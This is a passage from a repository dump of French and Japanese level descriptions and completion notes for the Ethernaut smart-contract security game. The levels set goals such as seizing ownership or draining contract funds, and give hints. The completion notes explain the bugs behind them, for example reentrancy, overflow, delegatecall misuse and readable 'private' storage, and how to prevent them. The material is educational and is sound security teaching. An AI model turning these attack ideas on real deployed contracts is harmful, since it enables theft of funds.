Comment envoyer de l'éther en dehors de l'ABI 11 | * Conversion vers et depuis les unités wei/ether (voir la commande `help()`) 12 | * Méthodes de fallback 13 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/fallback_complete.md: -------------------------------------------------------------------------------- 1 | Vous connaissez les bases de la façon dont l'éther entre et sort des contrats, y compris l'utilisation de la méthode de fallback. 2 | 3 | Vous avez également découvert le contrat Ownable d'OpenZeppelin et comment il peut être utilisé pour restreindre l'utilisation de certaines méthodes à une adresse privilégiée. 4 | 5 | Passez au niveau suivant lorsque vous êtes prêt! -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/fallout.md: -------------------------------------------------------------------------------- 1 | Réclamez la propriété du contrat ci-dessous pour terminer ce niveau. 2 |   3 | Voici un conseil: 4 | * Solidity Remix IDE 5 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/force.md: -------------------------------------------------------------------------------- 1 | Certains contrats ne prendront tout simplement pas votre argent `¯\_(ツ)_/¯` 2 | 3 | L'objectif de ce niveau est de rendre le solde du contrat supérieur à zéro. 4 | 5 |   6 | Voici quelques coinseils: 7 | * Méthodes Fallback 8 | * Parfois, la meilleure façon d'attaquer un contrat est avec un autre contrat. 9 | * Voir la page ["?"](https://ethernaut.openzeppelin.com/help), section "Au-delà de la console" (Beyond the console) 10 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/force_complete.md: -------------------------------------------------------------------------------- 1 | Dans Solidity, pour qu'un contrat puisse recevoir de l'éther, la fonction de fallback doit être marquée "payable". 2 | 3 | Cependant, il n'y a aucun moyen d'empêcher un attaquant d'envoyer de l'éther à un contrat en s'autodétruisant. Par conséquent, il est important de ne pas compter sur l'invariant `address(this).balance == 0` pour toute logique de contrat. -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/gatekeeper1.md: -------------------------------------------------------------------------------- 1 | Passez le gardien (Gatekeeper) et inscrivez-vous en tant que participant (entrant) pour passer ce niveau. 2 | 3 | ##### Voici quelques conseils: 4 | * * Rappelez-vous ce que vous avez appris des niveaux Téléphone et Token. 5 | * Vous pouvez en savoir plus sur la fonction spéciale `gasleft()`, dans la documentation de Solidity (voir [Units and Global Variables](https://docs.soliditylang.org/en/v0.8.3/units-and-global-variables.html) et [External Function Calls](https://docs.soliditylang.org/en/v0.8.3/control-structures.html#external-function-calls)). -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/gatekeeper1_complete.md: -------------------------------------------------------------------------------- 1 | Bien fait! Ensuite, essayez-vous avec le deuxième gardien... -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/gatekeeper2_complete.md: -------------------------------------------------------------------------------- 1 | Très bien! Maintenant que vous pouvez passer le gardien, vous avez ce qu'il faut pour rejoindre [theCyber](https://etherscan.io/address/thecyber.eth#code), un club décentralisé sur le réseau principal Ethereum. Obtenez une phrase secrète en contactant le créateur sur [reddit](https://www.reddit.com/user/0age) ou via [email](mailto:0age@protonmail.com) et utilisez-la pour vous inscrire au contrat sur [ gatekeepertwo.thecyber.eth](https://etherscan.io/address/gatekeepertwo.thecyber.eth#code) (sachez que seuls les 128 premiers participants seront acceptés par le contrat). -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/gatekeeper3.md: -------------------------------------------------------------------------------- 1 | Faites face aux portes et devenez un participant (entrant). 2 | 3 | ##### Voici quelques conseils: 4 | * Rappeler les return values des fonctions de low-level. 5 | * Soyez attentif à la sémantique. 6 | * Rappelez-vous comment fonctionne le stockage (storage) dans Ethereum. 7 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/gatekeeper3_complete.md: -------------------------------------------------------------------------------- 1 | Bon travail! Pour plus d'informations lisez ceci : https://web3js.readthedocs.io/en/v1.2.9/web3-eth.html?highlight=getStorageAt#getstorageat and this https://medium.com/loom-network/ethereum-solidity-memory-vs-storage-how-to-initialize-an-array-inside-a-struct-184baf6aa2eb . 2 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/goodsamaritan.md: -------------------------------------------------------------------------------- 1 | Cette instance représente un bon samaritain riche et prêt à donner des jetons à quiconque en fait la demande. 2 | 3 | Seriez-vous capable de vider tout le solde (balance) de son portefeuille ? 4 | 5 | Voici un conseil: 6 | 7 | - [Solidity Custom Errors](https://blog.soliditylang.org/2021/04/21/custom-errors/) -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/instances_complete.md: -------------------------------------------------------------------------------- 1 | Félicitations ! Vous avez terminé le tutoriel. 2 | Jetez un coup d'œil au code Solidity du contrat avec lequel vous venez d'interagir ci-dessous. 3 | 4 | Vous êtes maintenant prêt à compléter tous les niveaux du jeu, et à partir de maintenant, vous êtes tout seul. 5 | 6 | Bonne chance!! 7 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/king.md: -------------------------------------------------------------------------------- 1 | Le contrat ci-dessous représente un jeu très simple : celui qui lui envoie une quantité d'éther supérieure au prix actuel devient le nouveau roi (king). Lors d'un tel événement, le roi renversé est payé le nouveau prix, faisant un peu d'éther dans le processus ! Aussi ponzi que possible xD 2 | 3 | Un jeu vraiment amusant. Votre objectif est de le casser. 4 | 5 | Lorsque vous soumettez l'instance au niveau, le niveau va essayer de récupérer la royauté. Vous battrez le niveau si vous pouvez éviter une telle auto-proclamation. -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/king_complete.md: -------------------------------------------------------------------------------- 1 | La plupart des niveaux d'Ethernaut essaient d'exposer (sous une forme trop simplifiée bien sûr) quelque chose qui s'est réellement passé - un vrai hack ou un vrai bug. 2 | 3 | Pour ce cas, regardez: [King of the Ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html) et [King of the Ether Postmortem](http://www.kingoftheether.com/postmortem.html). 4 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/magicnum.md: -------------------------------------------------------------------------------- 1 | Pour résoudre ce niveau, il vous suffit de fournir à l'Ethernaut un `Solver`, un contrat qui répond à `whatIsTheMeaningOfLife()` (quel est le sens de la vie?) avec le bon numéro de 32 octets. 2 | 3 | Facile, n'est ce pas? 4 | 5 | Eh bien...pas vraiment. 6 | 7 | Le code du `Solver` doit être vraiment petit. Vraiment tout petit. Comme vraiment vraiment minuscule : 10 octets au maximum. 8 | 9 | Indice: Il est peut-être temps de quitter momentanément le confort du compilateur Solidity et de le construire à la main O_o. 10 | 11 | C'est le bytecode EVM. 12 | 13 | Bonne chance! -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/magicnum_complete.md: -------------------------------------------------------------------------------- 1 | Toutes nos félicitations! Si vous avez résolu ce niveau, considérez-vous comme un Maître de l'Univers. 2 | 3 | Allez-y et percez un objet aléatoire dans la pièce avec votre look Magnum. Maintenant, essayez de le déplacer de loin; vos capacités de télékinésie viennent peut-être de commencer à fonctionner. -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/motorbike.md: -------------------------------------------------------------------------------- 1 | La moto d'Ethernaut a une toute nouvelle conception de moteur évolutive. 2 | 3 | Seriez-vous capable d'autodétruire (`selfdestruct`) son moteur et de rendre la moto inutilisable ? 4 | 5 |   Voici quelques coinseils: 6 | 7 | - [EIP-1967](https://eips.ethereum.org/EIPS/eip-1967) 8 | - [UUPS](https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786) upgradeable pattern 9 | - [Initializable](https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/core/contracts/Initializable.sol) contract -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/naughtcoin.md: -------------------------------------------------------------------------------- 1 | NaughtCoin est un jeton ERC20 et vous les détenez déjà tous. Le hic, c'est que vous ne pourrez les transférer qu'après une période de verrouillage de 10 ans. Pouvez-vous comprendre comment les faire sortir à une autre adresse afin de pouvoir les transférer librement ? Terminez ce niveau en mettant votre solde de jetons à 0. 2 | 3 |   4 | Voici quelques coinseils: 5 | * Le [ERC20](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md) Spec 6 | * Le codebase d'[OpenZeppelin](https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts) 7 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/naughtcoin_complete.md: -------------------------------------------------------------------------------- 1 | Lorsque vous utilisez un code qui n'est pas le vôtre, c'est une bonne idée de vous familiariser avec lui pour bien comprendre comment tout s'emboîte. Cela peut être particulièrement important lorsqu'il existe plusieurs niveaux d'importation (vos importations ont des importations) ou lorsque vous mettez en œuvre des contrôles d'autorisation, par ex. lorsque vous autorisez ou interdisez aux gens de faire des choses. Dans cet exemple, un développeur peut parcourir le code et penser que `transfer` est le seul moyen de déplacer des jetons, alors qu'il existe d'autres moyens d'effectuer la même opération avec une implémentation différente. -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/preservation_complete.md: -------------------------------------------------------------------------------- 1 | Comme au niveau précédent, `delegate` mentionne l'utilisation de `delegatecall` pour appeler 2 | les bibliothèques peuvent être risquées. Cela est particulièrement vrai pour les bibliothèques contractuelles qui 3 | ont leur propre état. Cet exemple montre pourquoi le mot-clé `library` 4 | doit être utilisé pour construire des bibliothèques, car il empêche les bibliothèques de 5 | stocker et accéder aux variables d'état (state variables). 6 | 7 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/privacy.md: -------------------------------------------------------------------------------- 1 | Le créateur de ce contrat a pris soin de protéger les zones sensibles de son stockage. 2 | 3 | Débloquez ce contrat pour battre le niveau. 4 | 5 | Voici quelques conseils: 6 | * Comprendre le fonctionnement du stockage 7 | * Comprendre le fonctionnement de l'analyse des paramètres (parameter parsing) 8 | * Comprendre le fonctionnement du casting 9 | 10 | Un conseil: 11 | * N'oubliez pas que le métamasque n'est qu'une marchandise. Utilisez un autre outil s'il présente des problèmes. Un gameplay avancé peut impliquer l'utilisation de remix ou de votre propre fournisseur Web3. -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/privacy_complete.md: -------------------------------------------------------------------------------- 1 | Rien dans la blockchain Ethereum n'est privé. Le mot clé `private` n'est qu'une construction artificielle du langage Solidity. `getStorageAt(...)` de Web3 peut être utilisé pour lire n'importe quoi depuis le stockage. Cependant, il peut être difficile de lire ce que vous voulez, car plusieurs règles et techniques d'optimisation sont utilisées pour compacter le stockage autant que possible. 2 | 3 | Cela ne peut pas être beaucoup plus compliqué que ce qui a été exposé dans ce niveau. Pour en savoir plus, consultez cet excellent article de "Darius": [How to read Ethereum contract storage](https://medium.com/aigang-network/how-to-read-ethereum-contract-storage-44252c8af925) 4 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/recovery.md: -------------------------------------------------------------------------------- 1 | Un créateur de contrat a construit un contrat d'usine de jetons très simple. Tout le monde peut créer facilement de nouveaux jetons. Après avoir déployé le premier contrat de jeton, le créateur a envoyé "0.001" éther pour obtenir plus de jetons. Ils ont depuis perdu l'adresse du contrat. 2 | 3 | Ce niveau sera terminé si vous pouvez récupérer (ou supprimer) les `0.001` ether de l'adresse de contrat perdue. -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/reentrancy.md: -------------------------------------------------------------------------------- 1 | Le but de ce niveau est pour vous de voler tous les fonds du contrat. 2 | 3 |   4 | Voici quelques conseils: 5 | * Les contrats non approuvés peuvent exécuter du code là où vous vous y attendez le moins. 6 | * Méthodes de fallback 7 | * Throw/revert bubbling 8 | * Parfois, la meilleure façon d'attaquer un contrat est avec un autre contrat. 9 | * Voir la page ["?"](https://ethernaut.openzeppelin.com/help), section "Au-delà de la console" ("Beyond the console") -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/shop.md: -------------------------------------------------------------------------------- 1 | Pouvez-vous obtenir l'article du shop pour moins que le prix demandé ? 2 | 3 | ##### Voici quelques conseils: 4 | * `Shop` s'attend à être utilisé par un `Acheteur` (`Buyer`) 5 | * Comprendre les restrictions des fonctions view 6 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/shop_complete.md: -------------------------------------------------------------------------------- 1 | Les contrats peuvent manipuler les données vues par d'autres contrats comme ils le souhaitent. 2 | 3 | Il est dangereux de modifier l'état en fonction d'une logique de contrats externes et non fiables. 4 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/telephone.md: -------------------------------------------------------------------------------- 1 | Réclamez le contrat ci-dessous pour terminer ce niveau. 2 | 3 |   4 | Voici quelques conseils: 5 | * See the ["?"](https://ethernaut.openzeppelin.com/help) page, section "Beyond the console" 6 | -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/token.md: -------------------------------------------------------------------------------- 1 | Le but de ce niveau est pour vous de pirater le contrat ci-dessous. 2 | 3 | On vous donne 20 jetons pour commencer et vous battrez le niveau si vous parvenez à otenir des jetons supplémentaires (de préférence une très grande quantité de jetons). 4 | 5 |   6 | Voici quelques conseils: 7 | * Qu'est-ce qu'un odomètre? -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/token_complete.md: -------------------------------------------------------------------------------- 1 | Les overflows sont très communs dans solidity et doivent être vérifiés avec des instructions de contrôle telles que: 2 | ``` 3 | if(a + c > a) { 4 | a = a + c; 5 | } 6 | ``` 7 | 8 | Une alternative plus simple consiste à utiliser la bibliothèque SafeMath d'OpenZeppelin qui vérifie automatiquement les overflows dans tous les opérateurs mathématiques. Le code résultant ressemble à ceci: 9 | ``` 10 | a = a.add(c); 11 | ``` 12 | S'il y a un overflow, le code faira un revert. -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/unstoppable.md: -------------------------------------------------------------------------------- 1 | Il existe un lending pool avec un million de jetons en solde, offrant des prêts flash gratuitement. 2 | 3 | Si seulement il y avait un moyen d'attaquer et d'empêcher le pool d'offrir des prêts flash... 4 | 5 | Vous commencez avec 100 jetons en solde. -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/vault.md: -------------------------------------------------------------------------------- 1 | Déverrouillez le coffre-fort pour passer le niveau ! -------------------------------------------------------------------------------- /client/src/gamedata/fr/descriptions/levels/vault_complete.md: -------------------------------------------------------------------------------- 1 | Il est important de se rappeler que le fait de marquer une variable comme privée empêche uniquement les autres contrats d'y accéder. Les variables d'état marquées comme variables privées et locales sont toujours accessibles au public. 2 | 3 | Pour s'assurer que les données sont privées, elles doivent être cryptées avant d'être placées sur la blockchain. Dans ce scénario, la clé de déchiffrement ne doit jamais être envoyée en chaîne, car elle sera alors visible pour quiconque la recherche. Les [zk-SNARKs](https://blog.ethereum.org/2016/12/05/zksnarks-in-a-nutshell/) fournissent un moyen de déterminer si quelqu'un possède un paramètre secret, sans jamais avoir à révéler le paramètre. 4 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/aliencodex.md: -------------------------------------------------------------------------------- 1 | あなたは Alien contract を発見しました。レベルを完了するために所有権を主張してください。 2 | 3 |   4 | このレベルのヒント 5 | 6 | - どのように Array Storage が機能するかを理解する 7 | - [ABI の仕様](https://solidity.readthedocs.io/en/v0.4.21/abi-spec.html)の理解 8 | - 不正なアプローチ 9 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/aliencodex_complete.md: -------------------------------------------------------------------------------- 1 | このレベルでは、EVM が配列の ABI エンコードされた長さと実際のペイロードを検証していないことを悪用しています。 2 | 3 | さらに、配列の長さを算術的にアンダーフローすることを利用して、`2^256`の記憶領域全体の配列の境界を拡大しています。これにより、ユーザーはすべてのコントラクトストレージを変更することができます。 4 | 5 | 両方の脆弱性は、2017 年[Underhanded coding contest](https://medium.com/@weka/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079)からヒントを得ています。 6 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/coinflip.md: -------------------------------------------------------------------------------- 1 | このゲームは、コインの裏表の結果を推測して、連勝を重ねるゲームです。このレベルをクリアするには、あなたの超能力を使って 10 回連続で正しい結果を当てる必要があります。 2 | 3 |   4 | このレベルのヒント 5 | 6 | - [上記ヘルプページの](https://ethernaut.openzeppelin.com/help) "Beyond the console "セクションをご覧ください。 7 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/coinflip_complete.md: -------------------------------------------------------------------------------- 1 | solidity で乱数を生成するのは厄介です。現在、乱数を生成するネイティブな方法はありませんし、スマートコントラクトで使用しているものは、プライベートとマークされたローカル変数やステート変数を含めて、すべて公開されています。また、マイナーはブロックハッシュやタイムスタンプ、特定の取引を含めるかどうかなどをコントロールしており、これらの値を自分に有利になるように偏らせることができます。 2 | 3 | 暗号的に証明された乱数を得るためには、[Chainlink VRF](https://docs.chain.link/docs/get-a-random-number)を使用することができます。この方法では、オラクル、LINK トークン、オンチェーンコントラクトを使用して、乱数が本当にランダムであるかどうかを検証します。 4 | 5 | その他の選択肢としては、ビットコインのブロックヘッダを利用する方法があります([BTC Relay](http://btcrelay.org)で検証)。[RANDAO](https://github.com/randao/randao)や[Oraclize](http://www.oraclize.it/)などがあります。 6 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/delegate.md: -------------------------------------------------------------------------------- 1 | このレベルのゴールは、あなたに与えられたインスタンスの所有権を主張することです。 2 | 3 |   4 | このレベルのヒント 5 | 6 | - Solidity の低レベル関数`delegatecall`についてのドキュメントを見てみましょう。この関数がどのように動作するのか、オンチェーンライブラリに操作を委ねるためにどのように使用できるのか、実行スコープにどのような影響を与えるのかを確認してください。 7 | - フォールバックメソッド 8 | - メソッド ID 9 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/delegate_complete.md: -------------------------------------------------------------------------------- 1 | `delegatecall`の使用は特にリスクが高く、歴史的なハッキングでは攻撃方法として使用されてきました。これを使うと、あなたのコントラクトは実質的に「ほら、他のコントラクト、他のライブラリーで私の State であなたの好きなことをしてください」と言っていることになります。委譲者はコントラクトの状態に完全にアクセスできます。`delegatecall`関数は強力な機能ですが、危険な機能でもあるので、細心の注意を払って使用する必要があります。 2 | 3 | このアイデアを使って 30M USD を盗まれた事件については、[The Parity Wallet Hack Explained](https://blog.openzeppelin.com/on-the-parity-wallet-multisig-hack-405a8c12e8f7)の記事を参照してください。 4 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/denial.md: -------------------------------------------------------------------------------- 1 | これは、時間の経過とともに資金を垂れ流すシンプルなウォレットです。引き出しパートナーになることで、資金を 2 | 引き出すパートナーになることで、ゆっくりと資金を引き出すことができます。 3 | 4 | owner が`withdraw()`を呼び出したときに、資金の引き出しを拒否することができれば 5 | (ただし契約に資金が残っていて、かつ 100 万ガス以下の取引の場合)このレベルをクリアできます。 6 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/denial_complete.md: -------------------------------------------------------------------------------- 1 | このレベルでは、固定のガス量が指定されていない場合、未知の契約への外部呼び出しでもサービス拒否攻撃が可能なことを示しています。 2 | 3 | 外部呼び出しがリバートされた場合に実行を継続するために低レベルの `call` を使用している場合は、固定のガス量を指定するようにしてください。例えば、`call.gas(100000).value()` 4 | 5 | 一般的には、リエントランシー攻撃を避けるために、[checks-effects-interactions](http://solidity.readthedocs.io/en/latest/security-considerations.html#use-the-checks-effects-interactions-pattern)パターンに従うべきですが、このような問題が発生する可能性がある他の状況(例えば、関数の最後に複数の外部呼び出しがある場合など)もあります。 6 | 7 | _注_: 外部の`CALL`は、`CALL`の時点で現在利用可能なガスの最大 63/64 を使用することができます。したがって、トランザクションを完了するために必要なガスの量に応じて、十分に高いガスのトランザクション(つまり、ガスの 1/64 が親コールの残りのオペコードを完了することができるようなトランザクション)を使用することで、この特定の攻撃を軽減することができます。 8 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/dex2.md: -------------------------------------------------------------------------------- 1 | このレベルでは、前のレベルで微妙に修正された`Dex`の契約である`DexTwo`を別の方法で壊すことが求められます。 2 | 3 | このレベルをクリアするためには、`DexTwo`契約からトークン 1 とトークン 2 の残高をすべて排出する必要があります。 4 | 5 | `トークン1`が 10 個、`トークン2`が 10 個の状態でスタートします。DEX コントラクトは、それぞれのトークンが 100 個ずつの状態でスタートします。 6 | 7 |   8 | このレベルのヒント 9 | 10 | - `swap`メソッドはどのように修正されましたか? 11 | - 攻撃にカスタムトークンコントラクトを使用することはできますか? 12 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/dex2_complete.md: -------------------------------------------------------------------------------- 1 | 繰り返し私たちは見てきたように、コントラクト間の相互作用は予期せぬ動作の原因となります。 2 | 3 | コントラクトが[ERC20 spec](https://eips.ethereum.org/EIPS/eip-20)を実装していると主張しているからといって、それが信頼に値するとは限りません。 4 | 5 | トークンの中には、`transfer`メソッドから真偽値を返さないことで ERC20 仕様から逸脱しているものがあります。[Missing return value bug - At least 130 tokens affected](https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca)を参照してください。 6 | 7 | 他の ERC20 トークン、特に敵対者によって設計されたものは、より悪意のある動作をする可能性があります。 8 | 9 | 誰もが中央機関の許可なく自分のトークンをリストアップできる DEX を設計した場合、DEX の正しさは DEX のコントラクトと取引されるトークン・コントラクトの相互作用に依存する可能性があります。 10 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/elevator.md: -------------------------------------------------------------------------------- 1 | このエレベーターでは、ビルの最上階にはたどり着けません。でしょ? 2 | 3 |   4 | このレベルのヒント。 5 | 6 | - solidity は約束を守るのが苦手な場合があります。 7 | - この `Elevator` は `Building` から使用されることを想定しています。 8 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/elevator_complete.md: -------------------------------------------------------------------------------- 1 | 状態の修正を防ぐために、インターフェイス上で `view` 関数修飾子を使用することができます。また、`pure`修飾子も、関数が状態を変更するのを防ぎます。 2 | [Solidity のドキュメント](http://solidity.readthedocs.io/en/develop/contracts.html#view-functions)を読んで、その注意点を学んでください。 3 | 4 | このレベルを解決する別の方法は、入力データに依存して異なる結果を返しますが、例えば `gasleft()` のように状態を変更しない表示関数を実装することです。 5 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/fallback.md: -------------------------------------------------------------------------------- 1 | 下のコントラクトのコードを注意深く見てください。 2 | 3 | 以下の条件を満たせば、このレベルをクリアできます。 4 | 5 | 1.契約書の所有権を主張する 2.契約書の残高を 0 にする 6 | 7 |   8 | このレベルのヒント 9 | 10 | - ABI とのやりとりで ether を送信する方法 11 | - ABI 以外での ether の送り方 12 | - wei/ether 単位での換算(`help()`コマンド参照) 13 | - fallback 関数 14 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/fallback_complete.md: -------------------------------------------------------------------------------- 1 | あなたは fallback メソッドの使用方法を含め、コントラクトに ether が出入りする基本的な方法を知りました。 2 | 3 | また、OpenZeppelin の Ownable コントラクトについても学び、いくつかのメソッドの使用を特権的なアドレスに制限するためにどのように使用できるかを理解しました。 4 | 5 | 準備ができたら、次のレベルに進んでください。 6 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/fallout.md: -------------------------------------------------------------------------------- 1 | このレベルをクリアするには、以下のコントラクトの所有権を主張してください。 2 | 3 |   4 | このレベルのヒント 5 | 6 | - Solidity Remix IDE 7 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/fallout_complete.md: -------------------------------------------------------------------------------- 1 | 馬鹿げていると思いませんか?現実のコントラクトはこれよりはるかに安全で、ハッキングははるかに困難なはずだ。 2 | 3 | しかし...そうではありません。 4 | 5 | Rubixi の話は、Ethereum のエコシステムでは非常に有名なケースです。この会社は、社名を「Dynamic Pyramid」から「Rubixi」に変更しましたが、なぜかコントラクトのコンストラクタ・メソッドの名前を変更しませんでした。 6 | 7 | ``` 8 | contract Rubixi { 9 | address private owner; 10 | function DynamicPyramid() { owner = msg.sender; } 11 | function collectAllFees() { owner.transfer(this.balance) } 12 | ... 13 | ``` 14 | 15 | これにより、攻撃者は古いコンストラクタを呼び出し、契約の所有権を主張して、資金を盗むことができました。そうですね。スマートコントラクトの世界で大きな間違いを犯すことがあります。 16 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/force.md: -------------------------------------------------------------------------------- 1 | 一部のコントラクトは、単にあなたのお金を取りません `¯\_(ツ)_/¯` 2 | 3 | このレベルの目標は、コントラクトの残高をゼロよりも大きくすることです。 4 | 5 |   6 | このレベルのヒント 7 | 8 | - fallback 関数 9 | - あるコントラクトを攻撃するのに最適な方法が、別のコントラクトであることがあります。 10 | - 上記のヘルプページ、["Beyond the console"](https://ethernaut.openzeppelin.com/help) のセクションを参照してください。 11 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/force_complete.md: -------------------------------------------------------------------------------- 1 | solidity では、コントラクトが ether を受け取ることができるためには、フォールバック関数が`payable`とマークされている必要があります。 2 | 3 | しかし、攻撃者が自己破壊によってコントラクトに ether を送るのを止める方法はありません。そのため、コントラクトのロジックでは、不変量である`address(this).balance == 0`をあてにしないことが重要です。 4 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/gatekeeper1.md: -------------------------------------------------------------------------------- 1 | このレベルをクリアするためには、ゲートキーパーを通過して侵入者として登録する必要があります。 2 | 3 | このレベルのヒント。 4 | 5 | - Telephone と Token のレベルで学んだことを思い出してください。 6 | - 特殊関数`gasleft()`については、Solidity のドキュメント([Units and Global Variables](https://docs.soliditylang.org/en/v0.8.3/units-and-global-variables.html)や[External Function Calls](https://docs.soliditylang.org/en/v0.8.3/control-structures.html#external-function-calls)を参照)で詳しく説明されています。 7 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/gatekeeper1_complete.md: -------------------------------------------------------------------------------- 1 | よくできましたね!次は、2 番目のゲートキーパーに挑戦してみましょう。 2 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/gatekeeper2.md: -------------------------------------------------------------------------------- 1 | このゲートキーパーには、いくつかの新しい課題が導入されています。このレベルをクリアするためには、侵入者として登録してください。 2 | 3 | このレベルのヒント: 4 | 5 | - 最初のゲートキーパーを通過したときに学んだことを思い出してください。 6 | - 第 2 のゲートの`assembly`キーワードは、コントラクトが vanilla Solidity のネイティブではない機能にアクセスすることを可能にします。詳しくは[Solidity Assembly](http://solidity.readthedocs.io/en/v0.4.23/assembly.html)をご覧ください。このゲートの`extcodesize`コールは、与えられたアドレスにおけるコントラクトのコードのサイズを取得します。これがいつどのように設定されるかについては、[イエローペーパー](https://ethereum.github.io/yellowpaper/paper.pdf)のセクション 7 で詳しく知ることができます。 7 | - 3 番目のゲートの`^`文字はビット演算(XOR)で、ここでは別の一般的なビット演算を適用するために使用されています([Solidity cheatsheet](http://solidity.readthedocs.io/en/v0.4.23/miscellaneous.html#cheatsheet)を参照)。この課題に取り組む際には、「Coin Flip」レベルから始めるのも良いでしょう。 8 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/gatekeeper2_complete.md: -------------------------------------------------------------------------------- 1 | がんばったね! さて、ゲートキーパーを通過できたあなたは、Ethereum メインネット上の分散型クラブである[theCyber](https://etherscan.io/address/thecyber.eth#code)に参加する権利を手に入れました。 2 | 3 | [reddit](https://www.reddit.com/user/0age)または[email](mailto:0age@protonmail.com)で作成者に連絡してパスフレーズを入手し、それを使って[gatekeepertwo.thecyber.eth](https://etherscan.io/address/gatekeepertwo.thecyber.eth#code)のコントラクトに登録してください(最初の 128 人の参加者だけがコントラクトに受け入れられることに注意してください)。 4 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/instances_complete.md: -------------------------------------------------------------------------------- 1 | おめでとうございます。チュートリアルを終了しました。 2 | 先ほどのコントラクトの Solidity コードをご覧ください。 3 | 4 | たった今、自分の力で、このゲームの全てのレベルをクリアする準備が整いました 5 | 6 | 幸運を! 7 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/king.md: -------------------------------------------------------------------------------- 1 | 下のコントラクトは、現在の賞金よりも大きな額の ether を送った人が新しい王になるという、非常にシンプルなゲームを表しています。このようなイベントが発生すると、倒された王は新しい賞金を支払われ、その過程で少しの ether を稼ぐことができます。ポンジのようなものですね。 2 | 3 | そんな楽しいゲームです。あなたの目標は、それを壊すことです。 4 | 5 | インスタンスをレベルに戻して提出すると、レベルが王権を取り戻してくれるんです。そんな自己宣言をしないようにすれば、レベルに勝てるでしょう。 6 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/king_complete.md: -------------------------------------------------------------------------------- 1 | Ethernaut のレベルのほとんどは、実際に起こったことを(もちろん誇張された形で)暴露しようとしています。実際のハックやバグですね。 2 | 3 | この場合は、以下を参照してください。 4 | [キングオブザ ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html) 5 | そして 6 | [King of the Ether Postmortem](http://www.kingoftheether.com/postmortem.html) 7 | -------------------------------------------------------------------------------- /client/src/gamedata/ja/descriptions/levels/magicnum.md: -------------------------------------------------------------------------------- 1 | このレベルを解くためには、Ethernaut に`Solver`(`whatIsTheMeaningOfLife()`に正しい数字で応答するコントラクト)を提供するだけでよいのです。 2 | 3 | 簡単でしょう? 4 | しかし...問題があります。 5 | 6 | ソルバーのコードはとても小さくなければなりません。本当にものすごく小さい。せいぜい 10 個のオペコードくらいです。 7 | 8 | ヒント: おそらく、Solidity コンパイラの快適さから少し離れて、手作業でこれを構築する時が来たのだと思います。 9 | その通りです。生の EVM バイトコードです。 10 | 11 | がんばってください。 12 | -------------------------------------------------------------------------------- 